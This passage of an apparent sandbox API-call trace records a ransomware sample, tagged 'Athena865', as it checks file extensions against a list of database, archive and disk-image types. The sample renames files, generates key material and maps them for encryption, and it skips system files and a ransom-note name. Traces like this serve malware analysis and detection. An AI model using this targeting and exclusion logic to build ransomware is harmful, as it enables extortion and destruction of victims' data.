returned 4 [0050.261] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1 [0050.261] lstrlenW (lpString="rar") returned 3 [0050.261] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1 [0050.261] lstrlenW (lpString="zip") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1 [0050.262] lstrlenW (lpString="tgz") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1 [0050.262] lstrlenW (lpString="vbox") returned 4 [0050.262] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1 [0050.262] lstrlenW (lpString="vdi") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1 [0050.262] lstrlenW (lpString="vhd") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1 [0050.262] lstrlenW (lpString="vhdx") returned 4 [0050.262] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1 [0050.262] lstrlenW (lpString="avhd") returned 4 [0050.262] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1 [0050.262] lstrlenW (lpString="db") returned 2 [0050.262] lstrcmpiW (lpString1="4a", lpString2="db") returned -1 [0050.262] lstrlenW (lpString="db2") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1 [0050.262] lstrlenW (lpString="db3") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1 [0050.262] lstrlenW (lpString="dbf") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1 [0050.262] lstrlenW (lpString="mdf") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1 [0050.262] lstrlenW (lpString="mdb") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1 [0050.262] lstrlenW (lpString="sql") returned 3 [0050.262] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1 [0050.262] lstrlenW (lpString="sqlite") returned 6 [0050.262] lstrcmpiW (lpString1="81.m4a", lpString2="sqlite") returned -1 [0050.262] lstrlenW (lpString="sqlite3") returned 7 [0050.262] lstrcmpiW (lpString1="J81.m4a", lpString2="sqlite3") returned -1 [0050.262] lstrlenW (lpString="sqlitedb") returned 8 [0050.263] lstrcmpiW (lpString1="KJ81.m4a", lpString2="sqlitedb") returned -1 [0050.263] lstrlenW (lpString="xml") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1 [0050.263] lstrlenW (lpString="$er") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1 [0050.263] lstrlenW (lpString="4dd") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1 [0050.263] lstrlenW (lpString="4dl") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1 [0050.263] lstrlenW (lpString="^^^") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1 [0050.263] lstrlenW (lpString="abs") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1 [0050.263] lstrlenW (lpString="abx") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1 [0050.263] lstrlenW (lpString="accdb") returned 5 [0050.263] lstrcmpiW (lpString1="1.m4a", lpString2="accdb") returned -1 [0050.263] lstrlenW (lpString="accdc") returned 5 [0050.263] lstrcmpiW (lpString1="1.m4a", lpString2="accdc") returned -1 [0050.263] lstrlenW (lpString="accde") returned 5 [0050.263] lstrcmpiW (lpString1="1.m4a", lpString2="accde") returned -1 [0050.263] lstrlenW (lpString="accdr") returned 5 [0050.263] lstrcmpiW (lpString1="1.m4a", lpString2="accdr") returned -1 [0050.263] lstrlenW (lpString="accdt") returned 5 [0050.263] lstrcmpiW (lpString1="1.m4a", lpString2="accdt") returned -1 [0050.263] lstrlenW (lpString="accdw") returned 5 [0050.263] lstrcmpiW (lpString1="1.m4a", lpString2="accdw") returned -1 [0050.263] lstrlenW (lpString="accft") returned 5 [0050.263] lstrcmpiW (lpString1="1.m4a", lpString2="accft") returned -1 [0050.263] lstrlenW (lpString="adb") returned 3 [0050.263] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1 [0050.263] lstrlenW (lpString="adb") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1 [0050.264] lstrlenW (lpString="ade") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1 [0050.264] lstrlenW (lpString="adf") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1 [0050.264] lstrlenW (lpString="adn") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1 [0050.264] lstrlenW (lpString="adp") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1 [0050.264] lstrlenW (lpString="alf") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1 [0050.264] lstrlenW (lpString="ask") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1 [0050.264] lstrlenW (lpString="btr") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1 [0050.264] lstrlenW (lpString="cat") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1 [0050.264] lstrlenW (lpString="cdb") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1 [0050.264] lstrlenW (lpString="ckp") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1 [0050.264] lstrlenW (lpString="cma") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1 [0050.264] lstrlenW (lpString="cpd") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1 [0050.264] lstrlenW (lpString="dacpac") returned 6 [0050.264] lstrcmpiW (lpString1="81.m4a", lpString2="dacpac") returned -1 [0050.264] lstrlenW (lpString="dad") returned 3 [0050.264] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1 [0050.264] lstrlenW (lpString="dadiagrams") returned 10 [0050.264] lstrcmpiW (lpString1="9LKJ81.m4a", lpString2="dadiagrams") returned -1 [0050.264] lstrlenW (lpString="daschema") returned 8 [0050.265] lstrcmpiW (lpString1="KJ81.m4a", lpString2="daschema") returned 1 [0050.265] lstrlenW (lpString="db-journal") returned 10 [0050.265] lstrcmpiW (lpString1="9LKJ81.m4a", lpString2="db-journal") returned -1 [0050.265] lstrlenW (lpString="db-shm") returned 6 [0050.265] lstrcmpiW (lpString1="81.m4a", lpString2="db-shm") returned -1 [0050.265] lstrlenW (lpString="db-wal") returned 6 [0050.265] lstrcmpiW (lpString1="81.m4a", lpString2="db-wal") returned -1 [0050.265] lstrlenW (lpString="dbc") returned 3 [0050.265] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1 [0050.265] lstrlenW (lpString="dbs") returned 3 [0050.265] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1 [0050.265] lstrlenW (lpString="dbt") returned 3 [0050.265] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1 [0050.265] lstrlenW (lpString="dbv") returned 3 [0050.265] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1 [0050.265] lstrlenW (lpString="dbx") returned 3 [0050.265] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1 [0050.265] lstrlenW (lpString="dcb") returned 3 [0050.265] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1 [0050.266] lstrlenW (lpString="dct") returned 3 [0050.266] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1 [0050.266] lstrlenW (lpString="dcx") returned 3 [0050.267] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1 [0050.267] lstrlenW (lpString="ddl") returned 3 [0050.267] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1 [0050.267] lstrlenW (lpString="dlis") returned 4 [0050.268] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1 [0050.268] lstrlenW (lpString="dp1") returned 3 [0050.268] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1 [0050.268] lstrlenW (lpString="dqy") returned 3 [0050.269] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1 [0050.269] lstrlenW (lpString="dsk") returned 3 [0050.269] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1 [0050.269] lstrlenW (lpString="dsn") returned 3 [0050.269] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1 [0050.269] lstrlenW (lpString="dtsx") returned 4 [0050.269] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1 [0050.269] lstrlenW (lpString="dxl") returned 3 [0050.274] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1 [0050.274] lstrlenW (lpString="eco") returned 3 [0050.274] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1 [0050.276] lstrlenW (lpString="ecx") returned 3 [0050.276] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1 [0050.277] lstrlenW (lpString="edb") returned 3 [0050.277] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1 [0050.277] lstrlenW (lpString="epim") returned 4 [0050.277] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1 [0050.278] lstrlenW (lpString="fcd") returned 3 [0050.278] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1 [0050.278] lstrlenW (lpString="fdb") returned 3 [0050.278] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1 [0050.278] lstrlenW (lpString="fic") returned 3 [0050.278] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1 [0050.278] lstrlenW (lpString="flexolibrary") returned 12 [0050.279] lstrlenW (lpString="fm5") returned 3 [0050.279] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1 [0050.279] lstrlenW (lpString="fmp") returned 3 [0050.279] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1 [0050.279] lstrlenW (lpString="fmp12") returned 5 [0050.279] lstrcmpiW (lpString1="1.m4a", lpString2="fmp12") returned -1 [0050.279] lstrlenW (lpString="fmpsl") returned 5 [0050.279] lstrcmpiW (lpString1="1.m4a", lpString2="fmpsl") returned -1 [0050.280] lstrlenW (lpString="fol") returned 3 [0050.280] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1 [0050.280] lstrlenW (lpString="fp3") returned 3 [0050.280] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1 [0050.280] lstrlenW (lpString="fp4") returned 3 [0050.280] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1 [0050.280] lstrlenW (lpString="fp5") returned 3 [0050.280] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1 [0050.280] lstrlenW (lpString="fp7") returned 3 [0050.280] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1 [0050.280] lstrlenW (lpString="fpt") returned 3 [0050.280] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1 [0050.280] lstrlenW (lpString="frm") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1 [0050.281] lstrlenW (lpString="gdb") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1 [0050.281] lstrlenW (lpString="gdb") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1 [0050.281] lstrlenW (lpString="grdb") returned 4 [0050.281] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1 [0050.281] lstrlenW (lpString="gwi") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1 [0050.281] lstrlenW (lpString="hdb") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1 [0050.281] lstrlenW (lpString="his") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1 [0050.281] lstrlenW (lpString="ib") returned 2 [0050.281] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1 [0050.281] lstrlenW (lpString="idb") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1 [0050.281] lstrlenW (lpString="ihx") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1 [0050.281] lstrlenW (lpString="itdb") returned 4 [0050.281] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1 [0050.281] lstrlenW (lpString="itw") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1 [0050.281] lstrlenW (lpString="jet") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1 [0050.281] lstrlenW (lpString="jtx") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1 [0050.281] lstrlenW (lpString="kdb") returned 3 [0050.281] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1 [0050.282] lstrlenW (lpString="kexi") returned 4 [0050.282] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1 [0050.282] lstrlenW (lpString="kexic") returned 5 [0050.282] lstrcmpiW (lpString1="1.m4a", lpString2="kexic") returned -1 [0050.282] lstrlenW (lpString="kexis") returned 5 [0050.282] lstrcmpiW (lpString1="1.m4a", lpString2="kexis") returned -1 [0050.282] lstrlenW (lpString="lgc") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1 [0050.282] lstrlenW (lpString="lwx") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1 [0050.282] lstrlenW (lpString="maf") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1 [0050.282] lstrlenW (lpString="maq") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1 [0050.282] lstrlenW (lpString="mar") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1 [0050.282] lstrlenW (lpString="marshal") returned 7 [0050.282] lstrcmpiW (lpString1="J81.m4a", lpString2="marshal") returned -1 [0050.282] lstrlenW (lpString="mas") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1 [0050.282] lstrlenW (lpString="mav") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1 [0050.282] lstrlenW (lpString="maw") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1 [0050.282] lstrlenW (lpString="mdbhtml") returned 7 [0050.282] lstrcmpiW (lpString1="J81.m4a", lpString2="mdbhtml") returned -1 [0050.282] lstrlenW (lpString="mdn") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1 [0050.282] lstrlenW (lpString="mdt") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1 [0050.282] lstrlenW (lpString="mfd") returned 3 [0050.282] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1 [0050.283] lstrlenW (lpString="mpd") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1 [0050.283] lstrlenW (lpString="mrg") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1 [0050.283] lstrlenW (lpString="mud") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1 [0050.283] lstrlenW (lpString="mwb") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1 [0050.283] lstrlenW (lpString="myd") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1 [0050.283] lstrlenW (lpString="ndf") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1 [0050.283] lstrlenW (lpString="nnt") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1 [0050.283] lstrlenW (lpString="nrmlib") returned 6 [0050.283] lstrcmpiW (lpString1="81.m4a", lpString2="nrmlib") returned -1 [0050.283] lstrlenW (lpString="ns2") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1 [0050.283] lstrlenW (lpString="ns3") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1 [0050.283] lstrlenW (lpString="ns4") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1 [0050.283] lstrlenW (lpString="nsf") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1 [0050.283] lstrlenW (lpString="nv") returned 2 [0050.283] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1 [0050.283] lstrlenW (lpString="nv2") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1 [0050.283] lstrlenW (lpString="nwdb") returned 4 [0050.283] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1 [0050.283] lstrlenW (lpString="nyf") returned 3 [0050.283] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1 [0050.283] lstrlenW (lpString="odb") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1 [0050.284] lstrlenW (lpString="odb") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1 [0050.284] lstrlenW (lpString="oqy") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1 [0050.284] lstrlenW (lpString="ora") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1 [0050.284] lstrlenW (lpString="orx") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1 [0050.284] lstrlenW (lpString="owc") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1 [0050.284] lstrlenW (lpString="p96") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1 [0050.284] lstrlenW (lpString="p97") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1 [0050.284] lstrlenW (lpString="pan") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1 [0050.284] lstrlenW (lpString="pdb") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1 [0050.284] lstrlenW (lpString="pdm") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1 [0050.284] lstrlenW (lpString="pnz") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1 [0050.284] lstrlenW (lpString="qry") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1 [0050.284] lstrlenW (lpString="qvd") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1 [0050.284] lstrlenW (lpString="rbf") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1 [0050.284] lstrlenW (lpString="rctd") returned 4 [0050.284] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1 [0050.284] lstrlenW (lpString="rod") returned 3 [0050.284] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1 [0050.284] lstrlenW (lpString="rodx") returned 4 [0050.285] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1 [0050.285] lstrlenW (lpString="rpd") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1 [0050.285] lstrlenW (lpString="rsd") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1 [0050.285] lstrlenW (lpString="sas7bdat") returned 8 [0050.285] lstrcmpiW (lpString1="KJ81.m4a", lpString2="sas7bdat") returned -1 [0050.285] lstrlenW (lpString="sbf") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1 [0050.285] lstrlenW (lpString="scx") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1 [0050.285] lstrlenW (lpString="sdb") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1 [0050.285] lstrlenW (lpString="sdc") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1 [0050.285] lstrlenW (lpString="sdf") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1 [0050.285] lstrlenW (lpString="sis") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1 [0050.285] lstrlenW (lpString="spq") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1 [0050.285] lstrlenW (lpString="te") returned 2 [0050.285] lstrcmpiW (lpString1="4a", lpString2="te") returned -1 [0050.285] lstrlenW (lpString="teacher") returned 7 [0050.285] lstrcmpiW (lpString1="J81.m4a", lpString2="teacher") returned -1 [0050.285] lstrlenW (lpString="tmd") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1 [0050.285] lstrlenW (lpString="tps") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1 [0050.285] lstrlenW (lpString="trc") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1 [0050.285] lstrlenW (lpString="trc") returned 3 [0050.285] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1 [0050.285] lstrlenW (lpString="trm") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1 [0050.286] lstrlenW (lpString="udb") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1 [0050.286] lstrlenW (lpString="udl") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1 [0050.286] lstrlenW (lpString="usr") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1 [0050.286] lstrlenW (lpString="v12") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1 [0050.286] lstrlenW (lpString="vis") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1 [0050.286] lstrlenW (lpString="vpd") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1 [0050.286] lstrlenW (lpString="vvv") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1 [0050.286] lstrlenW (lpString="wdb") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1 [0050.286] lstrlenW (lpString="wmdb") returned 4 [0050.286] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1 [0050.286] lstrlenW (lpString="wrk") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1 [0050.286] lstrlenW (lpString="xdb") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1 [0050.286] lstrlenW (lpString="xld") returned 3 [0050.286] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1 [0050.286] lstrlenW (lpString="xmlff") returned 5 [0050.286] lstrcmpiW (lpString1="1.m4a", lpString2="xmlff") returned -1 [0050.286] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\-L9LKJ81.m4a.Athena865") returned 77 [0050.286] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\-L9LKJ81.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\-l9lkj81.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\-L9LKJ81.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\-l9lkj81.m4a.athena865"), dwFlags=0x1) returned 1 [0050.287] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\-L9LKJ81.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\-l9lkj81.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.287] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27577) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.288] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.288] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.288] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.288] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6ec0, lpName=0x0) returned 0x17c [0050.289] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6ec0) returned 0x100000 [0050.290] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.290] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.290] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.291] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.291] CloseHandle (hObject=0x17c) returned 1 [0050.291] CloseHandle (hObject=0x154) returned 1 [0050.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.293] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a89540, ftCreationTime.dwHighDateTime=0x1d4d05f, ftLastAccessTime.dwLowDateTime=0x678a64f0, ftLastAccessTime.dwHighDateTime=0x1d4ca04, ftLastWriteTime.dwLowDateTime=0x678a64f0, ftLastWriteTime.dwHighDateTime=0x1d4ca04, nFileSizeHigh=0x0, nFileSizeLow=0x4e1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0BDQB_ktEMwWI.mkv", cAlternateFileName="0BDQB_~1.MKV")) returned 1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2=".") returned 1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="..") returned 1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="windows") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="bootmgr") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="temp") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="pagefile.sys") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="boot") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="ids.txt") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="ntuser.dat") returned -1 [0050.293] lstrcmpiW 